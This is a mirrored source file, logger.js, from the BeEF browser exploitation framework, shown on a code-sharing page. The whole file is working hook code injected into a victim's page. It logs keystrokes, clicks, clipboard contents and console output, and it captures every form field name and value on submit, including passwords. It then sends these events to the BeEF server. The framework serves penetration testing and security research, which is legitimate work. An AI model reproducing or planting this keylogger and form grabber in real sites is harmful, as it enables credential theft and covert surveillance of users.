Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/core/main/client/logger.js
1154 views
1
//
2
// Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
/**
8
* Provides logging capabilities.
9
* @namespace beef.logger
10
*/
11
beef.logger = {
12
13
running: false,
14
/**
15
* Internal logger id
16
*/
17
id: 0,
18
/**
19
* Holds events created by user, to be sent back to BeEF
20
*/
21
events: [],
22
/**
23
* Holds current stream of key presses
24
*/
25
stream: [],
26
/**
27
* Contains current target of key presses
28
*/
29
target: null,
30
/**
31
* Holds the time the logger was started
32
*/
33
time: null,
34
/**
35
* Holds the event details to be sent to BeEF
36
*/
37
e: function() {
38
this.id = beef.logger.get_id();
39
this.time = beef.logger.get_timestamp();
40
this.type = null;
41
this.x = 0;
42
this.y = 0;
43
this.target = null;
44
this.data = null;
45
this.mods = null;
46
},
47
/**
48
* Prevents from recursive event handling on form submission
49
*/
50
in_submit: false,
51
52
/**
53
* Starts the logger
54
*/
55
start: function() {
56
57
beef.browser.hookChildFrames();
58
this.running = true;
59
var d = new Date();
60
this.time = d.getTime();
61
62
$j(document).off('keypress');
63
$j(document).off('click');
64
$j(window).off('focus');
65
$j(window).off('blur');
66
$j('form').off('submit');
67
$j(document.body).off('copy');
68
$j(document.body).off('cut');
69
$j(document.body).off('paste');
70
71
if (!!window.console && typeof window.console == "object") {
72
try {
73
var oldInfo = window.console.info;
74
console.info = function (message) {
75
beef.logger.console('info', message);
76
oldInfo.apply(console, arguments);
77
};
78
var oldLog = window.console.log;
79
console.log = function (message) {
80
beef.logger.console('log', message);
81
oldLog.apply(console, arguments);
82
};
83
var oldWarn = window.console.warn;
84
console.warn = function (message) {
85
beef.logger.console('warn', message);
86
oldWarn.apply(console, arguments);
87
};
88
var oldDebug = window.console.debug;
89
console.debug = function (message) {
90
beef.logger.console('debug', message);
91
oldDebug.apply(console, arguments);
92
};
93
var oldError = window.console.error;
94
console.error = function (message) {
95
beef.logger.console('error', message);
96
oldError.apply(console, arguments);
97
};
98
} catch(e) {}
99
}
100
101
$j(document).keypress(
102
function(e) { beef.logger.keypress(e); }
103
).click(
104
function(e) { beef.logger.click(e); }
105
);
106
$j(window).focus(
107
function(e) { beef.logger.win_focus(e); }
108
).blur(
109
function(e) { beef.logger.win_blur(e); }
110
);
111
$j('form').submit(
112
function(e) {
113
beef.logger.submit(e);
114
}
115
);
116
$j(document.body).on('copy', function() {
117
setTimeout("beef.logger.copy();", 10);
118
});
119
$j(document.body).on('cut', function() {
120
setTimeout("beef.logger.cut();", 10);
121
});
122
$j(document.body).on('paste', function() {
123
beef.logger.paste();
124
});
125
},
126
127
/**
128
* Stops the logger
129
*/
130
stop: function() {
131
this.running = false;
132
clearInterval(this.timer);
133
$j(document).off('keypress');
134
$j(document).off('click');
135
$j(window).off('focus');
136
$j(window).off('blur');
137
$j('form').off('submit');
138
$j(document.body).off('copy');
139
$j(document.body).off('cut');
140
$j(document.body).off('paste');
141
// TODO: reset console
142
},
143
144
/**
145
* Get id
146
*/
147
get_id: function() {
148
this.id++;
149
return this.id;
150
},
151
152
/**
153
* Click function fires when the user clicks the mouse.
154
*/
155
click: function(e) {
156
var c = new beef.logger.e();
157
c.type = 'click';
158
c.x = e.pageX;
159
c.y = e.pageY;
160
c.target = beef.logger.get_dom_identifier(e.target);
161
this.events.push(c);
162
},
163
164
/**
165
* Fires when the window element has regained focus
166
*/
167
win_focus: function(e) {
168
var f = new beef.logger.e();
169
f.type = 'focus';
170
this.events.push(f);
171
},
172
173
/**
174
* Fires when the window element has lost focus
175
*/
176
win_blur: function(e) {
177
var b = new beef.logger.e();
178
b.type = 'blur';
179
this.events.push(b);
180
},
181
182
/**
183
* Keypress function fires everytime a key is pressed.
184
* @param {Object} e: event object
185
*/
186
keypress: function(e) {
187
if (this.target == null || ($j(this.target).get(0) !== $j(e.target).get(0)))
188
{
189
beef.logger.push_stream();
190
this.target = e.target;
191
}
192
this.stream.push({'char':e.which, 'modifiers': {'alt':e.altKey, 'ctrl':e.ctrlKey, 'shift':e.shiftKey}});
193
},
194
195
/**
196
* Copy function fires when the user copies data to the clipboard.
197
*/
198
copy: function(x) {
199
try {
200
var c = new beef.logger.e();
201
c.type = 'copy';
202
c.data = clipboardData.getData("Text");
203
this.events.push(c);
204
} catch(e) {}
205
},
206
207
/**
208
* Cut function fires when the user cuts data to the clipboard.
209
*/
210
cut: function() {
211
try {
212
var c = new beef.logger.e();
213
c.type = 'cut';
214
c.data = clipboardData.getData("Text");
215
this.events.push(c);
216
} catch(e) {}
217
},
218
219
/**
220
* Console function fires when data is sent to the browser console.
221
*/
222
console: function(type, message) {
223
try {
224
var c = new beef.logger.e();
225
c.type = 'console';
226
c.data = type + ': ' + message;
227
this.events.push(c);
228
} catch(e) {}
229
},
230
231
/**
232
* Paste function fires when the user pastes data from the clipboard.
233
*/
234
paste: function() {
235
try {
236
var c = new beef.logger.e();
237
c.type = 'paste';
238
c.data = clipboardData.getData("Text");
239
this.events.push(c);
240
} catch(e) {}
241
},
242
243
/**
244
* Submit function fires whenever a form is submitted
245
* TODO: Cleanup this function
246
*/
247
submit: function(e) {
248
if (beef.logger.in_submit) {
249
return true;
250
}
251
try {
252
var f = new beef.logger.e();
253
f.type = 'submit';
254
f.target = beef.logger.get_dom_identifier(e.target);
255
var jqForms = $j(e.target);
256
var values = jqForms.find('input').map(function() {
257
var inp = $j(this);
258
return inp.attr('name') + '=' + inp.val();
259
}).get().join();
260
beef.debug('submitting form inputs: ' + values);
261
/*
262
for (var i = 0; i < e.target.elements.length; i++) {
263
values += "["+i+"] "+e.target.elements[i].name+"="+e.target.elements[i].value+"\n";
264
}
265
*/
266
f.data = 'Action: '+jqForms.attr('action')+' - Method: '+$j(e.target).attr('method') + ' - Values:\n'+values;
267
this.events.push(f);
268
this.queue();
269
this.target = null;
270
beef.net.flush(function done() {
271
beef.debug("Submitting the form");
272
beef.logger.in_submit = true;
273
jqForms.submit();
274
beef.logger.in_submit = false;
275
beef.debug("Done submitting");
276
});
277
e.preventDefault();
278
return false;
279
} catch(e) {}
280
},
281
282
/**
283
* Pushes the current stream to the events queue
284
*/
285
push_stream: function() {
286
if (this.stream.length > 0)
287
{
288
this.events.push(beef.logger.parse_stream());
289
this.stream = [];
290
}
291
},
292
293
/**
294
* Translate DOM Object to a readable string
295
*/
296
get_dom_identifier: function(target) {
297
target = (target == null) ? this.target : target;
298
var id = '';
299
if (target)
300
{
301
id = target.tagName.toLowerCase();
302
id += ($j(target).attr('id')) ? '#'+$j(target).attr('id') : ' ';
303
id += ($j(target).attr('name')) ? '('+$j(target).attr('name')+')' : '';
304
}
305
return id;
306
},
307
308
/**
309
* Formats the timestamp
310
* @return {String} timestamp string
311
*/
312
get_timestamp: function() {
313
var d = new Date();
314
return ((d.getTime() - this.time) / 1000).toFixed(3);
315
},
316
317
/**
318
* Parses stream array and creates history string
319
*/
320
parse_stream: function() {
321
var s = '';
322
var mods = '';
323
for (var i in this.stream){
324
try{
325
var mod = this.stream[i]['modifiers'];
326
s += String.fromCharCode(this.stream[i]['char']);
327
if(typeof mod != 'undefined' &&
328
(mod['alt'] == true ||
329
mod['ctrl'] == true ||
330
mod['shift'] == true)){
331
mods += (mod['alt']) ? ' [Alt] ' : '';
332
mods += (mod['ctrl']) ? ' [Ctrl] ' : '';
333
mods += (mod['shift']) ? ' [Shift] ' : '';
334
mods += String.fromCharCode(this.stream[i]['char']);
335
}
336
337
}catch(e){}
338
}
339
var k = new beef.logger.e();
340
k.type = 'keys';
341
k.target = beef.logger.get_dom_identifier();
342
k.data = s;
343
k.mods = mods;
344
return k;
345
},
346
347
/**
348
* Queue results to be sent back to framework
349
*/
350
queue: function() {
351
beef.logger.push_stream();
352
if (this.events.length > 0)
353
{
354
beef.net.queue('/event', 0, this.events);
355
this.events = [];
356
}
357
}
358
359
};
360
361
beef.regCmp('beef.logger');
362
363